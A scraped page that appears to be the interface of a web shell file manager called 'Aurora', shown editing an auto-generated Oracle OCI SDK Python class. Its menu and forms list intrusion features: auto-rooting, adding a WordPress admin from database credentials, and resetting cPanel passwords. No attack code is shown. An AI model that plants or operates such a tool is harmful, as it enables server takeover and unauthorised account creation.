Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
os_management_hub
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: detach_software_sources_from_managed_instance_details.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20220901 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class DetachSoftwareSourcesFromManagedInstanceDetails(object): """ Provides the information used to detach the software sources from the managed instance. """ def __init__(self, **kwargs): """ Initializes a new DetachSoftwareSourcesFromManagedInstanceDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param software_sources: The value to assign to the software_sources property of this DetachSoftwareSourcesFromManagedInstanceDetails. :type software_sources: list[str] :param work_request_details: The value to assign to the work_request_details property of this DetachSoftwareSourcesFromManagedInstanceDetails. :type work_request_details: oci.os_management_hub.models.WorkRequestDetails """ self.swagger_types = { 'software_sources': 'list[str]', 'work_request_details': 'WorkRequestDetails' } self.attribute_map = { 'software_sources': 'softwareSources', 'work_request_details': 'workRequestDetails' } self._software_sources = None self._work_request_details = None @property def software_sources(self): """ **[Required]** Gets the software_sources of this DetachSoftwareSourcesFromManagedInstanceDetails. The list of software source OCIDs to be attached/detached. :return: The software_sources of this DetachSoftwareSourcesFromManagedInstanceDetails. :rtype: list[str] """ return self._software_sources @software_sources.setter def software_sources(self, software_sources): """ Sets the software_sources of this DetachSoftwareSourcesFromManagedInstanceDetails. The list of software source OCIDs to be attached/detached. :param software_sources: The software_sources of this DetachSoftwareSourcesFromManagedInstanceDetails. :type: list[str] """ self._software_sources = software_sources @property def work_request_details(self): """ Gets the work_request_details of this DetachSoftwareSourcesFromManagedInstanceDetails. :return: The work_request_details of this DetachSoftwareSourcesFromManagedInstanceDetails. :rtype: oci.os_management_hub.models.WorkRequestDetails """ return self._work_request_details @work_request_details.setter def work_request_details(self, work_request_details): """ Sets the work_request_details of this DetachSoftwareSourcesFromManagedInstanceDetails. :param work_request_details: The work_request_details of this DetachSoftwareSourcesFromManagedInstanceDetails. :type: oci.os_management_hub.models.WorkRequestDetails """ self._work_request_details = work_request_details def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other